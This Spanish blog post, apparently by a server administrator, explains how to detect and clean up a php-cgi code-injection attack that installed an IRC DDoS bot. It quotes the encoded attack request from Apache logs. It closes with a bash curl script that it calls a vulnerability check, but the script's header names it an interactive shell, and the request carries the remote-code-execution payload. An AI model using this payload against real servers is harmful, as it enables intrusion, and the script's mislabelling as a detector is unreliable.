Entrada destacada

Dial plan para EYEBEAM

Este articulo describe la forma de configurar el dialplan para un softphone eyebeam en un central PBX. Es valido para Perú, pero se puede aj...

lunes, 21 de noviembre de 2016

Como detectar si mi servidor es victima de inyección de código malicioso

Hola, como administrador de un servidor web , les comento un ataque que tuve y como lo solucione.

La inyección de código malicioso se produjo porque tenia una versión vieja de php. Hay un bug en ciertas versiones antiguas de PHP en donde el ataque hace uso del php-cgi.

El ataque inicia modificando ciertos parámetros de configuración del servidor, para luego descargar un IRCBOT al que se conectan para usar nuestro servidor como atacante DDOS.

Pasos para detectar y mitigar el ataque:

1  Ejecutar ps ax para buscar proceso extraños.
2. Ejecutar  netstat -putona para ver los procesos y las direcciones ip a las que se conectan.
3. Agregar con iptables un bloqueo a la ip externa que se conecta el proceso extraño.
4. Matar el proceso con kill -9 pid
5. Ver en /tmp/ si hay carpetas ocultas extrañas también chequear en /var/tmp
6. Parar el servicio apache y comentar en el archivo de configuración todo lo que se refiere a cgi-bin y su directorio.
7. Actualizar la version de PHP.

Mirando los logs de apache podemos ver como inicia la inyección de código malicioso:

"POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1"

Mediante el método POST envían este cadena codificada con los parámetros que modifican el comportamiento de PHP en nuestro servidor.

Lo curioso es que se encontró en el archivo tmp un imagen llamada flbotbsd.jpg que es un directorio comprimido con herramientas de instalación del ircBot.

Lo siguiente es un script que detecta si el servidor es vulnerable a este ataque:

#!/bin/bash
#
# interactive shell over php-cgi POST requests.
#
#
if [ -z "$1" ] ;
    then
    echo "USAGE: $0 [ip] [command]"
    exit
fi

curl -i -s -k  -X 'POST' \
  -H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)' \
  --data-binary "" \
  "http://$1/cgi-bin/php5?%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn"



Saludos.

No hay comentarios: